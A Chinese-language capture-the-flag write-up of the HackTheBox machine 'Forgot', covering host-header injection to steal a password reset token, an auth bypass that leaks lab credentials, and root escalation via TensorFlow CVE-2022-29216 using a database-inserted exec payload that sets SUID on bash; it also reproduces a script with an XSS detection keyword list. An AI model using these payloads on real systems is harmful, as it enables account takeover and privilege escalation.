HTB靶机:Forgot 靶机信息: 这台靶机前期拿shell很有趣,考了host header 注入
和 HTTP 绕过
后面提权则是CVE-2022-29216
这个漏洞,关于Tensorflow
的
信息收集: 端口扫描: nmap -sC -sV -Pn 10.129.72.41
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA) | 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA) |_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519) 80/tcp open http Werkzeug/2.1.2 Python/3.8.10 |_http-title: Login |_http-server-header: Werkzeug/2.1.2 Python/3.8.10 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 NOT FOUND | Server: Werkzeug/2.1.2 Python/3.8.10 | Date: Mon, 14 Nov 2022 12:33:15 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 207 | X-Varnish: 294936 | Age: 0 | Via: 1.1 varnish (Varnish/6.2) | Connection: close | <!doctype html > | <html lang =en > | <title > 404 Not Found</title > | <h1 > Not Found</h1 > | <p > The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p > | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/2.1.2 Python/3.8.10 | Date: Mon, 14 Nov 2022 12:32:13 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 5698 | X-Varnish: 294932 32771 | Age: 55 | Via: 1.1 varnish (Varnish/6.2) | Accept-Ranges: bytes | Connection: close | <!DOCTYPE html > | <html lang ="en" > | <head > | <meta charset ="UTF-8" > | <title > Login</title > | <style > | @import url("https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap"); | margin: 0; | padding: 0; | box-sizing: border-box; | font-family: "Poppins", sans-serif; | :root { | --dark-dimmed: #fff; | --accent: #008080; | --accent-dimmed: #008080; | --light: #fff; | body { | display: flex; | justify-content: center; | align-items: center; | min-height: 100vh; | margin: 10px; | background: | HTTPOptions: | HTTP/1.1 200 OK | Server: Werkzeug/2.1.2 Python/3.8.10 | Date: Mon, 14 Nov 2022 12:33:09 GMT | Content-Type: text/html; charset=utf-8 | Allow: HEAD, GET, OPTIONS | Content-Length: 0 | X-Varnish: 40 | Age: 0 | Via: 1.1 varnish (Varnish/6.2) | Accept-Ranges: bytes | Connection: close | RTSPRequest: |_ HTTP/1.1 400 Bad Request 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.93%I=7%D=11/14%Time=63723584%P=x86_64-apple-darwin21.5.0 SF:%r(GetRequest,1749,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\ SF:.2\x20Python/3\.8\.10\r\nDate:\x20Mon,\x2014\x20Nov\x202022\x2012:32:13 SF:\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Leng SF:th:\x205698\r\nX-Varnish:\x20294932\x2032771\r\nAge:\x2055\r\nVia:\x201 SF:\.1\x20varnish\x20\(Varnish/6\.2\)\r\nAccept-Ranges:\x20bytes\r\nConnec SF:tion:\x20close\r\n\r\n\n\n<!DOCTYPE\x20html> \n<html\x20lang=\"en\"\x20> SF:\n\n<head > \n\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\n\n\x20\x20 SF:<title > Login</title > \n\x20\x20\n\x20\x20\n\x20\x20\n\x20\x20\n<style > \n SF:@import\x20url\(\"https://fonts\.googleapis\.com/css2\?family=Poppins:i SF:tal,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1, SF:200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap\"\);\n\n\*\x SF:20{\n\x20\x20margin:\x200;\n\x20\x20padding:\x200;\n\x20\x20box-sizing: SF:\x20border-box;\n\x20\x20font-family:\x20\"Poppins\",\x20sans-serif;\n} SF:\n\n:root\x20{\n\x20\x20--dark-dimmed:\x20#fff;\n\x20\x20--accent:\x20# SF:008080;\n\x20\x20--accent-dimmed:\x20#008080;\n\x20\x20--light:\x20#fff SF:;\n}\n\nbody\x20{\n\x20\x20display:\x20flex;\n\x20\x20justify-content:\ SF:x20center;\n\x20\x20align-items:\x20center;\n\x20\x20min-height:\x20100 SF:vh;\n\x20\x20margin:\x2010px;\n\x20\x20background:\x20")%r(HTTPOptions, SF:114,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\ SF:.8\.10\r\nDate:\x20Mon,\x2014\x20Nov\x202022\x2012:33:09\x20GMT\r\nCont SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20HEAD,\x20GET,\x20 SF:OPTIONS\r\nContent-Length:\x200\r\nX-Varnish:\x2040\r\nAge:\x200\r\nVia SF::\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nAccept-Ranges:\x20bytes\r\n SF:Connection:\x20close\r\n\r\n")%r(RTSPRequest,1C,"HTTP/1\.1\x20400\x20Ba SF:d\x20Request\r\n\r\n")%r(FourOhFourRequest,1BF,"HTTP/1\.1\x20404\x20NOT SF:\x20FOUND\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.10\r\nDate:\x2 SF:0Mon,\x2014\x20Nov\x202022\x2012:33:15\x20GMT\r\nContent-Type:\x20text/ SF:html;\x20charset=utf-8\r\nContent-Length:\x20207\r\nX-Varnish:\x2029493 SF:6\r\nAge:\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nConnec SF:tion:\x20close\r\n\r\n<!doctype\x20html> \n<html\x20lang=en>\n<title > 404 SF:\x20Not\x20Found</title > \n<h1 > Not\x20Found</h1 > \n<p > The\x20requested\x2 SF:0URL\x20was\x20not\x20found\x20on\x20the\x20server\.\x20If\x20you\x20en SF:tered\x20the\x20URL\x20manually\x20please\x20check\x20your\x20spelling\ SF:x20and\x20try\x20again\.</p > \n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80端口: 使用密码登录,有/forgot
界面。
目录扫描: 子域名扫描没有有用的信息,目录扫描发现有/reset
目录
这里需要一个有效用户名,爆破无果后,在登录源码中发现一个可疑用户名。并且每次刷新都会变化。
使用有效用户名重置密码响应已发送重置链接,修改host header可以得到对应reset token:
sudo responder -I tun0 -wF sudo tcpdump -i tun0 -v |grep reset?token=
sudo python3 -m http.server 80
非预期: 这里有个非预期成功登录进来后 ,在Tickets
目录下发现ssh登录用户diego
,这里tickets功能在前端被禁用,启用后访问提示ACCESS_DENIED,查看请求发现是http basic认证,使用的是我们的源码中找到的用户名,尝试修改用户名为admin,成功,得到diego的ssh密码。
这里正常思路是重置的密码后简单地提交票证。链接字段中有一个“http”过滤器,但是您可以使用 HTTP 绕过它。设置一个 netcat 监听器,几分钟后机器人点击链接,您可以在 Authentication 标头中看到 base64,您可以对其进行解码并获取管理员密码。
这里获取到用户名和密码diego
:dCb#1!x0%gjq
。ssh连接成功获取到用户权限。
这里获取从bot.py
文件中获取到真正的admin的密码:dCvbgFh345_368352c@!
提权: 这里sudo -l发现ml_security.py,看起来是从数据库获取数据后进行一些处理:
代码中使用了tensorflow的preprocess_input_exprs_arg_string,并且指定了safe=false这个可以搜到相关漏洞:
Code injection in saved_model_cli
in TensorFlow · CVE-2022-29216 · GitHub Advisory Database
https://github.com/advisories/GHSA-75c9-jrh4-79mc
根据代码逻辑,是从escalate表中获取reason,然后检查xss 恶意模式,满足条件后执行preprocess_input_exprs_arg_string
因此,我们可以用恶意内容覆盖数据库reason
并运行脚本来执行我们的命令
ml_security.py: import sysimport csvimport pickleimport mysql.connectorimport requestsimport threadingimport numpy as npimport pandas as pdimport urllib.parse as parsefrom urllib.parse import unquotefrom sklearn import model_selectionfrom nltk.tokenize import word_tokenizefrom sklearn.linear_model import LogisticRegressionfrom gensim.models.doc2vec import Doc2Vec, TaggedDocumentfrom tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_stringnp.random.seed(42 ) f1 = '/opt/security/lib/DecisionTreeClassifier.sav' f2 = '/opt/security/lib/SVC.sav' f3 = '/opt/security/lib/GaussianNB.sav' f4 = '/opt/security/lib/KNeighborsClassifier.sav' f5 = '/opt/security/lib/RandomForestClassifier.sav' f6 = '/opt/security/lib/MLPClassifier.sav' loaded_model1 = pickle.load(open (f1, 'rb' )) loaded_model2 = pickle.load(open (f2, 'rb' )) loaded_model3 = pickle.load(open (f3, 'rb' )) loaded_model4 = pickle.load(open (f4, 'rb' )) loaded_model5 = pickle.load(open (f5, 'rb' )) loaded_model6 = pickle.load(open (f6, 'rb' )) model= Doc2Vec.load("/opt/security/lib/d2v.model" ) def getVec (text ): features = [] for i, line in enumerate (text): test_data = word_tokenize(line.lower()) v1 = model.infer_vector(test_data) featureVec = v1 lineDecode = unquote(line) lowerStr = str (lineDecode).lower() feature1 = int (lowerStr.count('link' )) feature1 += int (lowerStr.count('object' )) feature1 += int (lowerStr.count('form' )) feature1 += int (lowerStr.count('embed' )) feature1 += int (lowerStr.count('ilayer' )) feature1 += int (lowerStr.count('layer' )) feature1 += int (lowerStr.count('style' )) feature1 += int (lowerStr.count('applet' )) feature1 += int (lowerStr.count('meta' )) feature1 += int (lowerStr.count('img' )) feature1 += int (lowerStr.count('iframe' )) feature1 += int (lowerStr.count('marquee' )) feature2 = int (lowerStr.count('exec' )) feature2 += int (lowerStr.count('fromcharcode' )) feature2 += int (lowerStr.count('eval' )) feature2 += int (lowerStr.count('alert' )) feature2 += int (lowerStr.count('getelementsbytagname' )) feature2 += int (lowerStr.count('write' )) feature2 += int (lowerStr.count('unescape' )) feature2 += int (lowerStr.count('escape' )) feature2 += int (lowerStr.count('prompt' )) feature2 += int (lowerStr.count('onload' )) feature2 += int (lowerStr.count('onclick' )) feature2 += int (lowerStr.count('onerror' )) feature2 += int (lowerStr.count('onpage' )) feature2 += int (lowerStr.count('confirm' )) feature3 = int (lowerStr.count('.js' )) feature4 = int (lowerStr.count('javascript' )) feature5 = int (len (lowerStr)) feature6 = int (lowerStr.count('script' )) feature6 += int (lowerStr.count('<script' )) feature6 += int (lowerStr.count('<script' )) feature6 += int (lowerStr.count('%3cscript' )) feature6 += int (lowerStr.count('%3c%73%63%72%69%70%74' )) feature7 = int (lowerStr.count('&' )) feature7 += int (lowerStr.count('<' )) feature7 += int (lowerStr.count('>' )) feature7 += int (lowerStr.count('"' )) feature7 += int (lowerStr.count('\'' )) feature7 += int (lowerStr.count('/' )) feature7 += int (lowerStr.count('%' )) feature7 += int (lowerStr.count('*' )) feature7 += int (lowerStr.count(';' )) feature7 += int (lowerStr.count('+' )) feature7 += int (lowerStr.count('=' )) feature7 += int (lowerStr.count('%3C' )) feature8 = int (lowerStr.count('http' )) featureVec = np.append(featureVec,feature1) featureVec = np.append(featureVec,feature2) featureVec = np.append(featureVec,feature3) featureVec = np.append(featureVec,feature4) featureVec = np.append(featureVec,feature5) featureVec = np.append(featureVec,feature6) featureVec = np.append(featureVec,feature7) featureVec = np.append(featureVec,feature8) features.append(featureVec) return features conn = mysql.connector.connect(host='localhost' ,database='app' ,user='diego' ,password='dCb#1!x0%gjq' ) cursor = conn.cursor() cursor.execute('select reason from escalate' ) r = [i[0 ] for i in cursor.fetchall()] data=[] for i in r: data.append(i) Xnew = getVec(data) ynew1 = loaded_model1.predict(Xnew) ynew2 = loaded_model2.predict(Xnew) ynew3 = loaded_model3.predict(Xnew) ynew4 = loaded_model4.predict(Xnew) ynew5 = loaded_model5.predict(Xnew) ynew6 = loaded_model6.predict(Xnew) def assessData (i ): score = ((.175 *ynew1[i])+(.15 *ynew2[i])+(.05 *ynew3[i])+(.075 *ynew4[i])+(.25 *ynew5[i])+(.3 *ynew6[i])) if score >= .5 : try : preprocess_input_exprs_arg_string(data[i],safe=False ) except : pass for i in range (len (Xnew)): t = threading.Thread(target=assessData, args=(i,)) t.start()
使用前面得到的数据库账号密码在数据库中插入恶意数据,然后运行对应脚本触发命令执行:
mysql -D app -udiego -p insert into escalate values ("1","1","1",'test=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")');
结尾: 这个提权我也不是很懂。参考大佬的wp。
https://darkwing.moe/2022/11/14/Forgot-HackTheBox/